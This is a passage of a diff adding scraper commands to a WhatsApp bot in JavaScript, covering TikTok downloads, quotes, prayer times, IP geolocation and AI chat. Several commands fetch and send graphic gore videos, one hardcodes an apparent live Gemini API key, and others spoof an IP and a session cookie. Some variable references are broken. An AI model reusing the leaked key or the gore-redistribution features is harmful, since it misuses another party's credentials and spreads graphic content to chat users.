span.post-meta-item.post-votes').text(), + tag: $(b).find('div.content > header > div > div.bb-cat-links').text(), + comment: $(b).find('div.content > header > div > div.post-meta.bb-post-meta > a').text() + }) + }) + const random = link[Math.floor(Math.random() * link.length)] + axios.get(random.link) + .then((resu) => { + const $$ = cheerio.load(resu.data) + const hasel = {} + hasel.title = random.title + hasel.source = random.link + hasel.thumb = random.thumb + hasel.tag = $$('div.site-main > div > header > div > div > p').text() + hasel.upload = $$('div.site-main').find('span.auth-posted-on > time:nth-child(2)').text() + hasel.author = $$('div.site-main').find('span.auth-name.mf-hide > a').text() + hasel.comment = random.comment + hasel.vote = random.vote + hasel.view = $$('div.site-main').find('span.post-meta-item.post-views.s-post-views.size-lg > span.count').text() + hasel.video1 = $$('div.site-main').find('video > source').attr('src') + hasel.video2 = $$('div.site-main').find('video > a').attr('href') + resolve(hasel) + }) + }) + }) +} +let letme = await gore() +let hiy = `[ *RANDOM GORE* ] + +Title: ${letme.title} +Source: ${letme.source} +Tag: ${letme.tag} +Upload: ${letme.upload} +Author: ${letme.author} +Comment: ${letme.comment} +Vote: ${letme.vote} +Views: ${letme.view} +` +await David.sendMessage(m.chat, { video: { url: letme.video1 }, caption: hiy }, { quoted: m }) +} +break + + case 'tt3': { + let input = `[!] *wrong input* + +Ex : ${prefix + command} https://vt.tiktok.com/ZSFSqcuXb/` + + if (!text) return m.reply(input) + + if (!(text.includes('http://') || text.includes('https://'))) return m.reply(`url invalid, please input a valid url. Try with add http:// or https://`) + if (!text.includes('tiktok.com')) return m.reply(`Invalid Tiktok URL.`) +async function tiktok(url) { + return new Promise(async (resolve, reject) => { + const msc = await axios({ + url: "https://musicaldown.com/id", + method: "GET", + headers: { + 'user-agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" + } + }) + const a = cheerio.load(msc.data) + let FORM = { + [`${a("#link_url").attr("name")}`]: url, + [`${a("#submit-form > div").find("div:nth-child(1) > input[type=hidden]:nth-child(2)").attr("name")}`]: a("#submit-form > div").find("div:nth-child(1) > input[type=hidden]:nth-child(2)").attr("value"), + verify: a("#submit-form > div").find("div:nth-child(1) > input[type=hidden]:nth-child(3)").attr("value") + } + const getPost = await axios({ + url: "https://musicaldown.com/id/download", + method: "POST", + headers: { + 'user-agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + "cookie": msc.headers["set-cookie"].join("") + }, + data: new URLSearchParams(Object.entries(FORM)) + }) + + const postmp3 = await axios({ + url: "https://musicaldown.com/id/mp3", + method: "POST", + headers: { + 'user-agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + "cookie": msc.headers["set-cookie"].join("") + }, + data: new URLSearchParams(Object.entries(getPost)) + }) + + const w = cheerio.load(getPost.data) + const x = cheerio.load(postmp3.data) + const FormatPost = { + nowm: w("body > div.welcome.section > div").find("div.col.s12.l8 > a").eq(2).attr("href"), + audio: x("a.btn.waves-effect.waves-light.orange").eq(2).attr("href") + } + return resolve(FormatPost) + }) +} +let tiktik = await tiktok(text) +await David.sendMessage(m.chat, { video: { url: tiktik.nowm }, caption: mess.success }, { quoted: m }) +await David.sendMessage(m.chat, { audio: { url: tiktik.audio }, mimetype: "audio/mp4", ptt: true }, { quoted: m }) +} +break + + case 'aio2': { + if (!text) return reply(`Example: ${prefix + command} link`) +async function aio(url){ + return new Promise(async(resolve,reject) => { + + const { data: rest } = await axios.get("https://steptodown.com/") + const $ = cheerio.load(rest) + const tokens = $("input[name='token']").val() + const data = new URLSearchParams( + Object.entries({ + url: url, + token: tokens + }) + ) + await axios.post("https://steptodown.com/wp-json/aio-dl/video-data/", data, { + headers: { + "cookie": "PHPSESSID=658754a80bacc095aced0be8e110f3b4; pll_language=en", + "user-Agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Mobile Safari/537.36" + } + }) + .then(( response ) => { + resolve(response.data) + }) + .catch((e) => { + reject(e) + }) + }) +} +let sonice = await aio(text) +let wpol = `[ *AIO DOWNLOADER* ] + +${sonice.title} + +Duration: ${sonice.duration} +Source: ${sonice.source} +Size: ${sonice.medias[0].formattedSize} || ${sonice.medias[0].size} +Quality: ${sonice.medias[0].quality} +MimeType: ${sonice.medias[0].extension} +` +await David.sendMessage(m.chat, { video: { url: sonice.medias[0].url }, caption: wpol }, { quoted: m }) +} +break +case 'quotess':{ +//wm senn +async function quotes(input) { + return new Promise((resolve, reject) => { + fetch('https://jagokata.com/kata-bijak/kata-' + input.replace(/\s/g, '_') + '.html?page=1') + .then(res => res.text()) + .then(res => { + const $ = cheerio.load(res) + data = [] + $('div[id="main"]').find('ul[id="citatenrijen"] > li').each(function (index, element) { + x = $(this).find('div[class="citatenlijst-auteur"] > a').text().trim() + y = $(this).find('span[class="auteur-beschrijving"]').text().trim() + z = $(element).find('q[class="fbquote"]').text().trim() +//wm senn + data.push({ author: x, bio: y, quote: z }) + }) + data.splice(2, 1) +//wm senn + if (data.length == 0) return resolve({ creator: '@neoxr - Wildan Izzudin & @ariffb.id - Ariffb', status: false }) + resolve({ creator: '@neoxr - Wildan Izzudin & @ariffb.id - Ariffb', status: true, data }) + }).catch(reject) + }) +} +//wm senn +if (!text) return m.reply("Enter Quotes Type\n\nExample: .quotes senja") +//wm senn +let ayam = await quotes(text) +//wm senn +let jawir = ayam.data +let ngawi = pickRandom(jawir) +//wm senn +let cap = ` +_${ngawi.quote}_ + +~ ${ngawi.author} +`.trim() +//wm senn +m.reply(cap) +} +break +case 'quotesanime': { +async function quotesAnime() { + try { + const page = Math.floor(Math.random() * 184); + const { data } = await axios.get('https://otakotaku.com/quote/feed/' + page); + const $ = cheerio.load(data); + const hasil = []; + $('div.kotodama-list').each((l, h) => { + hasil.push({ + link: $(h).find('a').attr('href'), + gambar: $(h).find('img').attr('data-src'), + karakter: $(h).find('div.char-name').text().trim(), + anime: $(h).find('div.anime-title').text().trim(), + episode: $(h).find('div.meta').text(), + up_at: $(h).find('small.meta').text(), + quotes: $(h).find('div.quote').text().trim() + }); + }); + return hasil; + } catch (error) { + throw error; + } +} +quotesAnime().then(hasil => { + if (hasil.length === 0) { + m.reply('Tidak ada hasil yang ditemukan.'); + return; + } + + let replyTextt = `[ *QUOTES_ANIME* ]\n\n`; + hasil.forEach((hasil) => { + replyTextt += `Quotes: ${hasil.quotes}\nAnime: ${hasil.anime}\nEpisode: ${hasil.episode}\nUp: ${hasil.up_at}\nCharacter: ${hasil.karakter}\nLink${hasil.link}\n\n`; + }); + + m.reply(replyTextt); + }).catch(error => { + m.reply('Terjadi kesalahan saat merandom di QuotesAnime.'); + m.reply(error.message); + }) +} +break +case 'tt2': { + let input = `[!] *wrong input* + +Ex : ${prefix + command} https://vt.tiktok.com/ZSFSqcuXb/` + + if (!text) return m.reply(input) + + if (!(text.includes('http://') || text.includes('https://'))) return m.reply(`url invalid, please input a valid url. Try with add http:// or https://`) + if (!text.includes('tiktok.com')) return m.reply(`Invalid Tiktok URL.`) +async function tiktokDl(url) { + return new Promise(async (resolve, reject) => { + try { + let data = [] + function formatNumber(integer) { + let numb = parseInt(integer) + return Number(numb).toLocaleString().replace(/,/g, '.') + } + + function formatDate(n, locale = 'en') { + let d = new Date(n) + return d.toLocaleDateString(locale, { + weekday: 'long', + day: 'numeric', + month: 'long', + year: 'numeric', + hour: 'numeric', + minute: 'numeric', + second: 'numeric' + }) + } + + let domain = 'https://www.tikwm.com/api/'; + let res = await (await axios.post(domain, {}, { + headers: { + 'Accept': 'application/json, text/javascript, */*; q=0.01', + 'Accept-Language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7', + 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'Origin': 'https://www.tikwm.com', + 'Referer': 'https://www.tikwm.com/', + 'Sec-Ch-Ua': '"Not)A;Brand" ;v="24" , "Chromium" ;v="116"', + 'Sec-Ch-Ua-Mobile': '?1', + 'Sec-Ch-Ua-Platform': 'Android', + 'Sec-Fetch-Dest': 'empty', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Site': 'same-origin', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Mobile Safari/537.36', + 'X-Requested-With': 'XMLHttpRequest' + }, + params: { + url: url, + count: 12, + cursor: 0, + web: 1, + hd: 1 + } + })).data.data + if (res && !res.size && !res.wm_size && !res.hd_size) { + res.images.map(v => { + data.push({ type: 'photo', url: v }) + }) + } else { + if (res && res.wmplay) { + data.push({ type: 'watermark', url: 'https://www.tikwm.com' + res.wmplay }) + } + if (res && res.play) { + data.push({ type: 'nowatermark', url: 'https://www.tikwm.com' + res.play }) + } + if (res && res.hdplay) { + data.push({ type: 'nowatermark_hd', url: 'https://www.tikwm.com' + res.hdplay }) + } + } + let json = { + status: true, + title: res.title, + taken_at: formatDate(res.create_time).replace('1970', ''), + region: res.region, + id: res.id, + durations: res.duration, + duration: res.duration + ' Seconds', + cover: 'https://www.tikwm.com' + res.cover, + size_wm: res.wm_size, + size_nowm: res.size, + size_nowm_hd: res.hd_size, + data: data, + music_info: { + id: res.music_info.id, + title: res.music_info.title, + author: res.music_info.author, + album: res.music_info.album ? res.music_info.album : null, + url: 'https://www.tikwm.com' + res.music || res.music_info.play + }, + stats: { + views: formatNumber(res.play_count), + likes: formatNumber(res.digg_count), + comment: formatNumber(res.comment_count), + share: formatNumber(res.share_count), + download: formatNumber(res.download_count) + }, + author: { + id: res.author.id, + fullname: res.author.unique_id, + nickname: res.author.nickname, + avatar: 'https://www.tikwm.com' + res.author.avatar + } + } + resolve(json) + } catch (e) { + reject(e) + } + }); +} +let down = await tiktokDl(text) +let berak = `[ *TIKTOK DOWNLOADER* ] + +Videos: +Title: ${down.title} +Server: ${down.region} +ID: ${down.id} +Durasi: ${down.duration} +Size: ${down.size_nowm_hd} + +Music Info: +ID: ${down.music_info.id} +Title: ${down.music_info.title} +Pemilik Musik: ${down.music_info.author} + +Stats: +Views: ${down.stats.views} +Likes: ${down.stats.likes} +Comment: ${down.stats.comment} +Share: ${down.stats.share} +Download: ${down.stats.download} + +Author: +ID: ${down.author.id} +Full Name: ${down.author.fullname} +Nickname: ${down.author.nickname} +Avatar: ${down.author.avatar} +` +await David.sendMessage(m.chat, { video: { url: down.data[2].url }, caption: berak }, { quoted: m }) +await David.sendMessage(m.chat, { audio: { url: down.music_info.url }, mimetype: "audio/mp4", ptt: true }, { quoted: m }) +} +break + +case 'cinema': { +async function cinema() { + + try { + + const response = await axios.get('https://21cineplex.com/') + + const html = response.data + + const $ = cheerio.load(html) + + const results = [] + + $('.col-3 .movie').each((index, element) => { + + const movieTitle = $(element).find('.movie-desc h4').text().trim() + + const movieLabel = $(element).find('.movie-desc span.movie-label img').attr('src') + + const moviePoster = $(element).find('.movie-poster img').attr('src') + + const movieLink = $(element).find('a').attr('href') + + const data = { + + title: movieTitle, + + label: movieLabel, + + poster: moviePoster, + + link: movieLink + + } + + results.push(data) + + }) + + return results + + } catch (error) { + + console.error(error) + + } + +} +cinema().then(results => { + if (results.length === 0) { + m.reply('No results found.'); + return; + } + + let replyTextt = `[ *CINEMA RANDOM* ]\n\n`; + results.forEach((results) => { + replyTextt += `Title: ${results.title}\nPoster: ${results.poster}\nLink: ${results.link}\n\n`; + }); + + m.reply(replyTextt); + }).catch(error => { + m.reply('An error occurred while randomizing in cinema.'); + m.reply(error.message); + }); +} +break + + + + +case 'cerpen': { + if (!text) return reply(`Example: ${prefix + command} child`) +async function cerpen(category) { + return new Promise((resolve, reject) => { + let title = category.toLowerCase().replace(/[()*]/g, "") + let judul = title.replace(/\s/g, "-") + let page = Math.floor(Math.random() * 5) + axios.get('http://cerpenmu.com/category/cerpen-'+judul+'/page/'+page) + .then((get) => { + let $ = cheerio.load(get.data) + let link = [] + $('article.post').each(function (a, b) { + link.push($(b).find('a').attr('href')) + }) + let random = link[Math.floor(Math.random() * link.length)] + axios.get(random) + .then((res) => { + let $$ = cheerio.load(res.data) + let hasil = { + title: $$('#content > article > h1').text(), + author: $$('#content > article').text().split('Cerpen Karangan: ')[1].split('Category: ')[0], + Category: $$('#content > article').text().split('Category: ')[1].split('\n')[0], + lolos: $$('#content > article').text().split('Lolos moderasi pada: ')[1].split('\n')[0], + cerita: $$('#content > article > p').text() + } + resolve(hasil) + }) + }) + }) +} +let cepren = await cerpen(text) +let cepen = `Title: ${cepren.title}\nAuthor: ${cepren.author}\nCategory: ${cepren.kategori}\nLolos: ${cepren.lolos}\nCerita: ${cepren.cerita}` +await m.reply(cepen) +} +break +case 'fdroid': { + if (!q) return reply(`Example: ${prefix + command}`) + async function avzxxx(query) { + const url = `https://search.f-droid.org/?q=${encodeURIComponent(query)}&lang=id`; + + try { + const { data } = await axios.get(url); + const $ = cheerio.load(data); + const apps = []; + $('.package-header').each((index, element) => { + const title = $(element).find('.package-name').text().trim(); + const apkUrl = $(element).attr('href'); + const LinkGambar = $(element).find('.package-icon').attr('src'); + + apps.push({ title, apkUrl, LinkGambar }); + }); + + return apps; + + } catch (error) { + console.error('Error:', error); + } +} +avzxxx(q).then(apps => { + if (apps.length === 0) { + m.reply('No results found.'); + return; + } + + let replyTextt = `Search results for "${q}":\n\n`; + apps.forEach((apps) => { + replyTextt += `Title: ${apps.title}\nApk Url: ${apps.apkUrl}\nLink Gambar: ${apps.LinkGambar}\n\n`; + }); + + m.reply(replyTextt); + }).catch(error => { + m.reply('Terjadi kesalahan saat pencrian di fdroid.'); + m.reply(error.message); + }); +} +break +case 'style': case 'styletext': { + async function styletext(teks) { + return new Promise((resolve, reject) => { + axios.get('http://qaz.wtf/u/convert.cgi?text='+teks) + .then(({ data }) => { + let $ = cheerio.load(data) + let hasil = [] + $('table > tbody > tr').each(function (a, b) { + hasil.push({ name: $(b).find('td:nth-child(1) > span').text(), result: $(b).find('td:nth-child(2)').text().trim() }) + }) + resolve(hasil) + }) + }) +} +if (!text) return m.reply('Enter Query text!') +let anu = await styletext(text) +let teks = `Style Text From ${text}\n\n` + for (let i of anu) { +teks += `🍀 *${i.name}* : ${i.result}\n\n` + } +m.reply(teks) + } +break +case 'get': { + if (typeof text !== 'string' || !text.trim()) { + return m.reply(`Add Input (Link)\n\nExample: ${prefix + command} https://example.com`); + } + const isUrl = (url) => { + return url.match(/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_+.~#?&/=]*)/gi); + }; + const urlMatch = isUrl(text); + if (!urlMatch) { + return m.reply(`Invalid URL provided. Please provide a valid URL.\n\nExample: ${prefix + command} https://example.com`); + } + const url = urlMatch[0]; // Use the first match + try { + const res = await axios.get(url); + if (!/json|html|plain/.test(res.headers['content-type'])) { + return m.reply(`The content type of the provided URL is not supported.\n\nSupported types: json, html, plain text.`); + } + m.reply(util.format(res.data)); + } catch (e) { + m.reply(`Error fetching data from the provided URL: ${util.format(e.message)}`); + } +} +break + +case 'trackip': +{ +if (!text) return m.reply(`*Example:* ${prefix + command} 112.90.150.204`); +try { +let res = await fetch(`https://ipwho.is/${text}`).then(result => result.json()); + +const formatIPInfo = (info) => { + return ` +*IP Information* +• IP: ${info.ip || 'N/A'} +• Success: ${info.success || 'N/A'} +• Type: ${info.type || 'N/A'} +• Continent: ${info.continent || 'N/A'} +• Continent Code: ${info.continent_code || 'N/A'} +• Country: ${info.country || 'N/A'} +• Country Code: ${info.country_code || 'N/A'} +• Region: ${info.region || 'N/A'} +• Region Code: ${info.region_code || 'N/A'} +• City: ${info.city || 'N/A'} +• Latitude: ${info.latitude || 'N/A'} +• Longitude: ${info.longitude || 'N/A'} +• Is EU: ${info.is_eu ? 'Yes' : 'No'} +• Postal: ${info.postal || 'N/A'} +• Calling Code: ${info.calling_code || 'N/A'} +• Capital: ${info.capital || 'N/A'} +• Borders: ${info.borders || 'N/A'} +• Flag: + - Image: ${info.flag?.img || 'N/A'} + - Emoji: ${info.flag?.emoji || 'N/A'} + - Emoji Unicode: ${info.flag?.emoji_unicode || 'N/A'} +• Connection: + - ASN: ${info.connection?.asn || 'N/A'} + - Organization: ${info.connection?.org || 'N/A'} + - ISP: ${info.connection?.isp || 'N/A'} + - Domain: ${info.connection?.domain || 'N/A'} +• Timezone: + - ID: ${info.timezone?.id || 'N/A'} + - Abbreviation: ${info.timezone?.abbr || 'N/A'} + - Is DST: ${info.timezone?.is_dst ? 'Yes' : 'No'} + - Offset: ${info.timezone?.offset || 'N/A'} + - UTC: ${info.timezone?.utc || 'N/A'} + - Current Time: ${info.timezone?.current_time || 'N/A'} +`; +}; + +if (!res.success) throw new Error(`IP ${text} not found!`); +await David.sendMessage(m.chat, { location: { degreesLatitude: res.latitude, degreesLongitude: res.longitude } }, { ephemeralExpiration: 604800 }); +const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms)); +await delay(2000); +m.reply(formatIPInfo(res)); +} catch (e) { +m.reply(`Error: Unable to retrieve data for IP ${text}`); +} +} +break +case 'filmsearch': { + if (!text) return reply('Masukan query') + + m.reply(mess.wait) + + async function film(query) { + return new Promise((resolve, reject) => { + const https = require('https') + const url = `https://ruangmoviez.my.id/?s=${query}` + + https.get(url, (resp) => { + let data = '' + + resp.on('data', (chunk) => { + data += chunk + }) + + resp.on('end', () => { + let $ = cheerio.load(data) + const movies = [] + + $('article.item-infinite').each((index, element) => { + const movie = {} + movie.link = $(element).find('a[itemprop="url"]').attr('href') + movie.title = $(element).find('h2.entry-title a').text() + movie.relTag = $(element).find('a[rel="category tag"]').map((i, el) => $(el).text()).get() + movies.push(movie) + }) + + resolve({ + status: 200, + creator: author, + result: movies + }) + }) + }).on("error", (err) => { + resolve({ + status: 404, + msg: err.message + }) + }) + }) +} + + let { result } = await film(text) + let cap = `\`Search Film From: ${text}\`\n\n` + for (let res of result) { + cap += `*Title*: ${res.title}\n` + cap += `*Link*: ${res.link}\n` + cap += `*Genre*: ${res.relTag.map(v => v).join(', ')}\n\n` + } + m.reply(cap) +} +break +case 'goredl': { + if (!text) return reply(`Example: ${prefix + command} seegore`) +async function sgoredl(link) { + return new Promise(async (resolve, reject) => { + axios.get(link) + .then(({ + data + }) => { + const $$ = cheerio.load(data) + const format = { + Title: $$('div.single-main-container > div > div.bb-col.col-content > div > div > div > div > header > h1').text(), + views: $$('div.single-main-container > div > div.bb-col.col-content > div > div > div > div > div.s-post-meta-block.bb-mb-el > div > div > div.col-r.d-table-cell.col-md-6.col-sm-6.text-right-sm > div > span > span.count').text(), + comment: $$('div.single-main-container > div > div.bb-col.col-content > div > div > div > div > div.s-post-meta-block.bb-mb-el > div > div > div.col-r.d-table-cell.col-md-6.col-sm-6.text-right-sm > div > a > span.count').text(), + link: $$('video > source').attr('src') + } + const result = { + creator: "Wudysoft", + data: format + } + resolve(result) + }) + .catch(reject) + }) +} +const gkanjut = await sgoredl(text) +let pant = gkanjut.data +let ghann = `[ *SEEGORE DOWNOADER* ] + +Title: ${pant.judul} +Views: ${pant.views} +Comment: ${pant.comment} +Link: ${pant.link} +` +David.sendMessage(m.chat, {video: {url: pant.link}, caption: ghann}, {quoted: metaai}) +} +break + +// Command Handling +// Add or Set Sudo +case 'setsudo': case 'sudo': case 'addsudo': { + if (!isCreator) return reply('❌ Only the bot owner can use this command.'); + + let number; + if (quoted) { + // Get the number from the replied message + number = quoted.sender.split('@')[0]; + } else if (args[0]) { + // Get the number from the command argument + number = args[0]; + } + + if (!number || !/^\d+$/.test(number)) { + return reply('❌ Please provide a valid number or reply to a message to add to the sudo list.'); + } + + const jid = number + '@s.whatsapp.net'; + const sudoList = loadSudoList(); + + if (sudoList.includes(jid)) return reply(`❌ @${number} is already in the sudo list.`); + sudoList.push(jid); + saveSudoList(sudoList); + + reply(`✅ Successfully added @${number} to the sudo list.`); + break; +} + +// Delete Sudo +case 'delsudo': { + if (!isCreator) return reply('❌ Only the bot owner can use this command.'); + + let number; + if (quoted) { + // Get the number from the replied message + number = quoted.sender.split('@')[0]; + } else if (args[0]) { + // Get the number from the command argument + number = args[0]; + } + + if (!number || !/^\d+$/.test(number)) { + return reply('❌ Please provide a valid number or reply to a message to remove from the sudo list.'); + } + + const jid = number + '@s.whatsapp.net'; + const sudoList = loadSudoList(); + + if (!sudoList.includes(jid)) return reply(`❌ @${number} is not in the sudo list.`); + const updatedList = sudoList.filter((user) => user !== jid); + saveSudoList(updatedList); + + reply(`✅ Successfully removed @${number} from the sudo list.`); + break; +} + +case 'getsudo': case 'listsudo': { + if (!isCreator) return reply('❌ Only the bot owner can use this command.'); + const sudoList = loadSudoList(); + if (sudoList.length === 0) return reply('❌ No numbers are currently in the sudo list.'); + + const sudoNumbers = sudoList.map((jid) => jid.split('@')[0]).join('\n'); + m.reply(`📜 *Sudo List:*\n\n${sudoNumbers}`); + break; +} + + + +case 'goresearch': { + if (!text) return reply("Example: .goresearch girl") +async function ssearchgore(query) { + return new Promise(async (resolve, reject) => { + axios.get('https://seegore.com/?s=' + query).then(dataa => { + const $$$ = cheerio.load(dataa) + let pagina = $$$('#main > div.container.main-container > div > div.bb-col.col-content > div > div > div > div > nav > ul > li:nth-child(4) > a').text(); + let slink = 'https://seegore.com/?s=' + query + axios.get(slink) + .then(({ + data + }) => { + const $ = cheerio.load(data) + const link = []; + const judul = []; + const uploader = []; + const format = []; + const thumb = []; + $('#post-items > li > article > div.content > header > h2 > a').each(function(a, b) { + link.push($(b).attr('href')) + }) + $('#post-items > li > article > div.content > header > h2 > a').each(function(c, d) { + let jud = $(d).text(); + judul.push(jud) + }) + $('#post-items > li > article > div.content > header > div > div.bb-cat-links > a').each(function(e, f) { + let upl = $(f).text(); + uploader.push(upl) + }) + $('#post-items > li > article > div.post-thumbnail > a > div > img').each(function(g, h) { + thumb.push($(h).attr('src')) + }) + for (let i = 0; i < link.length; i++) { + format.push({ + Title: judul[i], + uploader: uploader[i], + thumb: thumb[i], + link: link[i] + }) + } + const result = { + creator: "Wudysoft", + data: format + } + resolve(result) + }) + .catch(reject) + }) + }) +} +try { +let haiyak = await ssearchgore(text) +let coba = haiyak.data +let goreng; +for (let i of coba) { + goreng = `Title: ${i.judul}\nUploader: ${i.uploader}\nLink: ${i.link}\n\n` +} +m.reply(goreng) +} catch (e) { +m.reply(e) +} +} +break + +case 'jadwalsholat': { + if (!text) return reply(`Example: .jakarta prayer schedule`) +async function jadwalSholat(query) { + return new Promise((resolve, reject) => { + axios + .get(`https://umrotix.com/jadwal-sholat/${query}`) + .then(({ data }) => { + const $ = cheerio.load(data); + $( + "body > div > div.main-wrapper.scrollspy-action > div:nth-child(3) ", + ).each(function (a, b) { + result = { + tanggal: $(b).find("> div:nth-child(2)").text(), + imsak: $(b) + .find( + "> div.panel.daily > div > div > div > div > div:nth-child(1) > p:nth-child(2)", + ) + .text(), + subuh: $(b) + .find( + "> div.panel.daily > div > div > div > div > div:nth-child(2) > p:nth-child(2)", + ) + .text(), + dzuhur: $(b) + .find( + "> div.panel.daily > div > div > div > div > div:nth-child(3) > p:nth-child(2)", + ) + .text(), + ashar: $(b) + .find( + "> div.panel.daily > div > div > div > div > div:nth-child(4) > p:nth-child(2)", + ) + .text(), + maghrib: $(b) + .find( + "> div.panel.daily > div > div > div > div > div:nth-child(5) > p:nth-child(2)", + ) + .text(), + isyak: $(b) + .find( + "> div.panel.daily > div > div > div > div > div:nth-child(6) > p:nth-child(2)", + ) + .text(), + }; + resolve(result); + }); + }) + .catch(reject); + }); +} +let sholatt = await jadwalSholat(text) +m.reply(` +[ *PRAYER SCHEDULE* ] + +5 Times from Region ${text} + +Tanggal: ${sholatt.tanggal} +Imsak: ${sholatt.imsak} +Shubuh: ${sholatt.subuh} +Dzuhur: ${sholatt.dzuhur} +Ashar: ${sholatt.ashar} +Maghrib: ${sholatt.maghrib} +Isya: ${sholatt.isyak} +`) +} +break +case 'kurumi': { +//wm hann + if (!text) return m.reply(`Hi, how are you today??`) +async function generateVoice(Query) { + const formData = new FormData(); + formData.append("locale", 'id-ID'); + formData.append("content", `${Query}`); + formData.append("ip", '46.161.194.33'); + const response = await fetch('https://app.micmonster.com/restapi/create', { + method: 'POST', + body: formData + }); + return Buffer.from(('data:audio/mpeg;base64,' + await response.text()).split(',')[1], 'base64'); +}; +//wm hann +const sendToGemini = async (prompt) => { + const apiKey = 'AIzaSyB2mvsGVTZAU-h-GtCLzoLhjHEdvugx9uQ'; // Dapatkan apikey dari https://aistudio.google.com/app/apikey + const url = `https://generativelanguage.googleapis.com/v1beta/models/gemini-1.5-flash-latest:generateContent?key=${apiKey}`; + //wm hann + const body = { + contents: [ + { + parts: [ + { text: prompt } + ] + } + ] + }; +//wm hann + try { + const response = await fetch(url, { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify(body) + }); + + const data = await response.json(); + + if (response.ok) { + return data; + } else { + throw new Error(data.error.message || 'Request failed'); + } + } catch (error) { + console.error('Error:', error.message); + return null; + } +}; +//wm hann +const prompt = `Your name is I am Rumi, you are a virtual assistant developed directly from Google.`; + const combinedPrompt = `${prompt} ${text}`; +//wm hann + try { + // Mengirim prompt ke API Gemini + const response = await sendToGemini(combinedPrompt); +//wm hann + if (response) { +//wm hann + const candidates = response.candidates; + let message = candidates && candidates.length > 0 + ? candidates[0].content.parts[0].text + : 'No response received from model.'; + //wm hann + // Mengganti ** dengan * dan mengedit jawaban jika perlu + messagee = message.replace(/\*\*/g, '*').replace(/#{2,}/g, '#'); + } else { +//wm hann + David.sendMessage( + m.chat, + { text: 'Gagal mendapatkan respons dari Gemini.' }, + { quoted: m } + ); + } + } catch (error) { + console.error(error); +//wm hann + David.sendMessage( + m.chat, + { text: 'An error occurred while processing your request.' }, + { quoted: m } + ); + } +//wm hann + try { +//wm hann + let res = await generateVoice(messagee) +await m.reply(messagee) + if (res) await David.sendMessage(m.chat, { + audio: res, + mimetype: 'audio/mp4', + ptt: true, + waveform: [100, 0, 100, 0, 100, 0, 100] + }, { + quoted: m + }) + } catch (e) { + await m.reply(e) + } +//wm hann +} +break +case 'tr': { + if (!m.quoted.text) return reply(`reply to be translated`) +async function translate(query = "", lang) { + if (!query.trim()) return ""; + const url = new URL("https://translate.googleapis.com/translate_a/single"); + url.searchParams.append("client", "gtx"); + url.searchParams.append("sl", "auto"); + url.searchParams.append("dt", "t"); + url.searchParams.append("tl", lang); + url.searchParams.append("q", query); + + try { + const response = await fetch(url.href); + const data = await response.json(); + if (data) { + return [data[0].map((item) => item[0].trim()).join("\n"), data[2]]; + } else { + return ""; + } + } catch (err) { + throw err; + } +} + +let banjir = await translate(m.quoted.text, "id") +m.reply(`${banjir[0]}, ${banjir[1]}`) +} +break +case 'txt2img': { +if (!text) return m.reply(`Example: ${prefix + command} cat`) +async function photoleap(prompt) { + try { + let result = [] + for (let i = 0; i < 3; i++) { + let { + data + } = await axios.get('https://tti.photoleapapp.com/api/v1/generate?prompt=' + prompt); + result.push(data.result_url) + } + return result + } catch (e) { + return ({ + msg: 404 + }) + } +} + +let tahu = await photoleap(text) +for (const x of tahu) { +David.sendMessage(m.chat, {image: {url: x}, caption: `Done`}, {quoted: m}) +} +} +break + + + + +case 'creategc': +case 'creategroup': { +if (!isCreator) return reply('`For My Owner Only`') +if (!args.join(" ")) return reply(`Use .creategc groupname`) +try { +let cret = await David.groupCreate(args.join(" "), []) +let response = await Fernazerini.groupInviteCode(cret.id) +let teks2 = ` [ ${cret.subject} ] + +▸ Name : ${cret.subject} +▸ Owner : @${cret.owner.split("@")[0]} +▸ Creation : ${moment(cret.creation * 1000).tz("Asia/Kolkata").format("DD/MM/YYYY HH:mm:ss")} +▸ Group Id : ${cret.id} +▸ Join : chat.whatsapp.com/${response}` +reply(teks2) +} catch { +reply("Success") +} +} +break + + +case 'tiktoksearch': +case 'ttsearch': { + const dann = require('d-scrape') +if (!text) return reply(`Example : ${prefix + command} jj epep`) +reply('Being processed ⏳') +try { +let anu = await dann.search.tiktoks(text) +David.sendMessage(m.chat, { video: { url: anu.no_watermark }, mimetype: 'video/mp4', caption: anu.title }, { quoted : m }) +} catch (error) { +reply('Error') +} +} +break + +case 'surah': { + if (!q) return reply(`Example ${prefix+command} 113`) +async function surah(no){ + return new Promise(async(resolve, reject) => { + axios.get('https://kalam.sindonews.com/surah/' + no) + .then(({ data }) => { + const $ = cheerio.load(data) + const result = []; + const ar = []; + const id = []; + const lt = []; + const au = []; + $('div.breadcrumb-new > ul > li:nth-child(5)').each(function(c,d) { + result.audio = $(d).find('a').attr('href').replace('surah','audioframe') + }) + $('div.ayat-arab').each(function(a, b) { + ar.push($(b).text()) + }) + $('li > div.ayat-text').each(function(e, f) { + id.push($(f).text().replace(',','').trim()) }) + $('div.ayat-latin').each(function(g, h) { + lt.push($(h).text().trim()) }) + for(let i = 0; i < ar.length ; i++){ + result.push({ + arab: ar[i], + indo: id[i], + latin: lt[i], + }) + } + resolve(result) + }) + .catch(reject) + }) +} +surah(q).then(result => { + if (result.length === 0) { + m.reply('No results found.'); + return; + } + + let replyTexttt = `Results from Surah for "${q}":\n\n`; + result.forEach((result, index) => { + replyTexttt += `${result.indo}\n${result.arab}\n${result.latin}\n\n`; + }); + + m.reply(replyTexttt); + }).catch(error => { + m.reply('An error occurred while entering numbers in the surah.'); + console.error(error); + }); +} +break + + case 'antilink-kick': { + if (!m.isGroup) return reply('ɢʀᴏᴜᴘ ᴏɴʟʏ'); + if 